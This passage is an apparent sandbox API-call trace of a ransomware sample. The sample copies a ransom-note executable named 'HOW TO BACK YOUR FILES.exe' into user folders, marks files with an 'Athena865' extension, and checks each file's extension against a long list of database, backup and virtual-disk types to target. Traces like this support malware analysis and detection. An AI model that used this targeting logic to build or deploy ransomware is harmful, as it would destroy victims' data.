lpString1="C:\\Documents and Settings\\Default\\Documents\\My Pictures") returned="C:\\Documents and Settings\\Default\\Documents\\My Pictures" [0103.140] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.140] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.141] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.141] GetLastError () returned 0x0 [0103.141] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.142] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.142] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.142] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.142] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.142] lstrlenW (lpString="Athena865") returned 9 [0103.142] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.143] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default\\Documents\\My Videos") returned="C:\\Documents and Settings\\Default\\Documents\\My Videos" [0103.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c758 | out: hHeap=0x4f0000) returned 1 [0103.143] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Documents\\My Videos") returned 53 [0103.143] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\24B8FE7EE77103A15EC379864C198B38") returned 0xec [0103.143] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.143] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default\\Documents\\My Videos") returned="C:\\Documents and Settings\\Default\\Documents\\My Videos" [0103.143] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.143] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.143] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.144] GetLastError () returned 0x0 [0103.144] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.144] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.144] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.145] lstrcpyW (in: lpString1=0x241e8b4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.145] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.145] lstrlenW (lpString="Athena865") returned 9 [0103.145] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.145] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Favorites\\Links" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\Links") returned="C:\\Documents and Settings\\Default\\Favorites\\Links" [0103.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ecf0 | out: hHeap=0x4f0000) returned 1 [0103.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7b8 | out: hHeap=0x4f0000) returned 1 [0103.145] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Favorites\\Links") returned 49 [0103.145] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3C11B7563145DA581D8013D77A08C0B6") returned 0xec [0103.145] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.145] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Favorites\\Links" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\Links") returned="C:\\Documents and Settings\\Default\\Favorites\\Links" [0103.145] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.145] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.146] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.146] GetLastError () returned 0x0 [0103.146] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.147] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.147] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.147] lstrcpyW (in: lpString1=0x241e8ac, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0103.147] lstrlenW (lpString="desktop.ini") returned 11 [0103.147] lstrlenW (lpString="Athena865") returned 9 [0103.147] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0103.147] lstrlenW (lpString=".dll") returned 4 [0103.147] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0103.147] lstrlenW (lpString=".lnk") returned 4 [0103.147] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0103.147] lstrlenW (lpString=".ini") returned 4 [0103.147] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0103.147] lstrlenW (lpString=".sys") returned 4 [0103.148] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0103.148] lstrlenW (lpString="desktop.ini") returned 11 [0103.148] lstrlenW (lpString="bak") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0103.148] lstrlenW (lpString="ba_") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0103.148] lstrlenW (lpString="dbb") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0103.148] lstrlenW (lpString="vmdk") returned 4 [0103.148] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0103.148] lstrlenW (lpString="rar") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0103.148] lstrlenW (lpString="zip") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0103.148] lstrlenW (lpString="tgz") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0103.148] lstrlenW (lpString="vbox") returned 4 [0103.148] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0103.148] lstrlenW (lpString="vdi") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0103.148] lstrlenW (lpString="vhd") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0103.148] lstrlenW (lpString="vhdx") returned 4 [0103.148] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0103.148] lstrlenW (lpString="avhd") returned 4 [0103.148] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0103.148] lstrlenW (lpString="db") returned 2 [0103.148] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0103.148] lstrlenW (lpString="db2") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0103.148] lstrlenW (lpString="db3") returned 3 [0103.148] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0103.149] lstrlenW (lpString="dbf") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0103.149] lstrlenW (lpString="mdf") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0103.149] lstrlenW (lpString="mdb") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0103.149] lstrlenW (lpString="sql") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0103.149] lstrlenW (lpString="sqlite") returned 6 [0103.149] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0103.149] lstrlenW (lpString="sqlite3") returned 7 [0103.149] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0103.149] lstrlenW (lpString="sqlitedb") returned 8 [0103.149] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0103.149] lstrlenW (lpString="xml") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0103.149] lstrlenW (lpString="$er") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0103.149] lstrlenW (lpString="4dd") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0103.149] lstrlenW (lpString="4dl") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0103.149] lstrlenW (lpString="^^^") returned 3 [0103.149] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0103.150] lstrlenW (lpString="abs") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0103.150] lstrlenW (lpString="abx") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0103.150] lstrlenW (lpString="accdb") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0103.150] lstrlenW (lpString="accdc") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0103.150] lstrlenW (lpString="accde") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0103.150] lstrlenW (lpString="accdr") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0103.150] lstrlenW (lpString="accdt") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0103.150] lstrlenW (lpString="accdw") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0103.150] lstrlenW (lpString="accft") returned 5 [0103.150] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0103.150] lstrlenW (lpString="adb") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.150] lstrlenW (lpString="adb") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.150] lstrlenW (lpString="ade") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0103.150] lstrlenW (lpString="adf") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0103.150] lstrlenW (lpString="adn") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0103.150] lstrlenW (lpString="adp") returned 3 [0103.150] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0103.151] lstrlenW (lpString="alf") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0103.151] lstrlenW (lpString="ask") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0103.151] lstrlenW (lpString="btr") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0103.151] lstrlenW (lpString="cat") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0103.151] lstrlenW (lpString="cdb") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0103.151] lstrlenW (lpString="ckp") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0103.151] lstrlenW (lpString="cma") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0103.151] lstrlenW (lpString="cpd") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0103.151] lstrlenW (lpString="dacpac") returned 6 [0103.151] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0103.151] lstrlenW (lpString="dad") returned 3 [0103.151] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0103.151] lstrlenW (lpString="dadiagrams") returned 10 [0103.151] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0103.151] lstrlenW (lpString="daschema") returned 8 [0103.151] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0103.151] lstrlenW (lpString="db-journal") returned 10 [0103.151] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0103.151] lstrlenW (lpString="db-shm") returned 6 [0103.151] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0103.151] lstrlenW (lpString="db-wal") returned 6 [0103.151] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0103.151] lstrlenW (lpString="dbc") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0103.152] lstrlenW (lpString="dbs") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0103.152] lstrlenW (lpString="dbt") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0103.152] lstrlenW (lpString="dbv") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0103.152] lstrlenW (lpString="dbx") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0103.152] lstrlenW (lpString="dcb") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0103.152] lstrlenW (lpString="dct") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0103.152] lstrlenW (lpString="dcx") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0103.152] lstrlenW (lpString="ddl") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0103.152] lstrlenW (lpString="dlis") returned 4 [0103.152] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0103.152] lstrlenW (lpString="dp1") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0103.152] lstrlenW (lpString="dqy") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0103.152] lstrlenW (lpString="dsk") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0103.152] lstrlenW (lpString="dsn") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0103.152] lstrlenW (lpString="dtsx") returned 4 [0103.152] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0103.152] lstrlenW (lpString="dxl") returned 3 [0103.152] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0103.153] lstrlenW (lpString="eco") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0103.153] lstrlenW (lpString="ecx") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0103.153] lstrlenW (lpString="edb") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0103.153] lstrlenW (lpString="epim") returned 4 [0103.153] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0103.153] lstrlenW (lpString="fcd") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0103.153] lstrlenW (lpString="fdb") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0103.153] lstrlenW (lpString="fic") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0103.153] lstrlenW (lpString="flexolibrary") returned 12 [0103.153] lstrlenW (lpString="fm5") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0103.153] lstrlenW (lpString="fmp") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0103.153] lstrlenW (lpString="fmp12") returned 5 [0103.153] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0103.153] lstrlenW (lpString="fmpsl") returned 5 [0103.153] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0103.153] lstrlenW (lpString="fol") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0103.153] lstrlenW (lpString="fp3") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0103.153] lstrlenW (lpString="fp4") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0103.153] lstrlenW (lpString="fp5") returned 3 [0103.153] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0103.153] lstrlenW (lpString="fp7") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0103.154] lstrlenW (lpString="fpt") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0103.154] lstrlenW (lpString="frm") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0103.154] lstrlenW (lpString="gdb") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.154] lstrlenW (lpString="gdb") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.154] lstrlenW (lpString="grdb") returned 4 [0103.154] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0103.154] lstrlenW (lpString="gwi") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0103.154] lstrlenW (lpString="hdb") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0103.154] lstrlenW (lpString="his") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0103.154] lstrlenW (lpString="ib") returned 2 [0103.154] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0103.154] lstrlenW (lpString="idb") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0103.154] lstrlenW (lpString="ihx") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0103.154] lstrlenW (lpString="itdb") returned 4 [0103.154] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0103.154] lstrlenW (lpString="itw") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0103.154] lstrlenW (lpString="jet") returned 3 [0103.154] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0103.154] lstrlenW (lpString="jtx") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0103.155] lstrlenW (lpString="kdb") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0103.155] lstrlenW (lpString="kexi") returned 4 [0103.155] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0103.155] lstrlenW (lpString="kexic") returned 5 [0103.155] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0103.155] lstrlenW (lpString="kexis") returned 5 [0103.155] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0103.155] lstrlenW (lpString="lgc") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0103.155] lstrlenW (lpString="lwx") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0103.155] lstrlenW (lpString="maf") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0103.155] lstrlenW (lpString="maq") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0103.155] lstrlenW (lpString="mar") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0103.155] lstrlenW (lpString="marshal") returned 7 [0103.155] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0103.155] lstrlenW (lpString="mas") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0103.155] lstrlenW (lpString="mav") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0103.155] lstrlenW (lpString="maw") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0103.155] lstrlenW (lpString="mdbhtml") returned 7 [0103.155] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0103.155] lstrlenW (lpString="mdn") returned 3 [0103.155] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0103.156] lstrlenW (lpString="mdt") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0103.156] lstrlenW (lpString="mfd") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0103.156] lstrlenW (lpString="mpd") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0103.156] lstrlenW (lpString="mrg") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0103.156] lstrlenW (lpString="mud") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0103.156] lstrlenW (lpString="mwb") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0103.156] lstrlenW (lpString="myd") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0103.156] lstrlenW (lpString="ndf") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0103.156] lstrlenW (lpString="nnt") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0103.156] lstrlenW (lpString="nrmlib") returned 6 [0103.156] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0103.156] lstrlenW (lpString="ns2") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0103.156] lstrlenW (lpString="ns3") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0103.156] lstrlenW (lpString="ns4") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0103.156] lstrlenW (lpString="nsf") returned 3 [0103.156] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0103.156] lstrlenW (lpString="nv") returned 2 [0103.156] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0103.156] lstrlenW (lpString="nv2") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0103.157] lstrlenW (lpString="nwdb") returned 4 [0103.157] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0103.157] lstrlenW (lpString="nyf") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0103.157] lstrlenW (lpString="odb") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.157] lstrlenW (lpString="odb") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.157] lstrlenW (lpString="oqy") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0103.157] lstrlenW (lpString="ora") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0103.157] lstrlenW (lpString="orx") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0103.157] lstrlenW (lpString="owc") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0103.157] lstrlenW (lpString="p96") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0103.157] lstrlenW (lpString="p97") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0103.157] lstrlenW (lpString="pan") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0103.157] lstrlenW (lpString="pdb") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0103.157] lstrlenW (lpString="pdm") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0103.157] lstrlenW (lpString="pnz") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0103.157] lstrlenW (lpString="qry") returned 3 [0103.157] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0103.157] lstrlenW (lpString="qvd") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0103.158] lstrlenW (lpString="rbf") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0103.158] lstrlenW (lpString="rctd") returned 4 [0103.158] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0103.158] lstrlenW (lpString="rod") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0103.158] lstrlenW (lpString="rodx") returned 4 [0103.158] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0103.158] lstrlenW (lpString="rpd") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0103.158] lstrlenW (lpString="rsd") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0103.158] lstrlenW (lpString="sas7bdat") returned 8 [0103.158] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0103.158] lstrlenW (lpString="sbf") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0103.158] lstrlenW (lpString="scx") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0103.158] lstrlenW (lpString="sdb") returned 3 [0103.158] 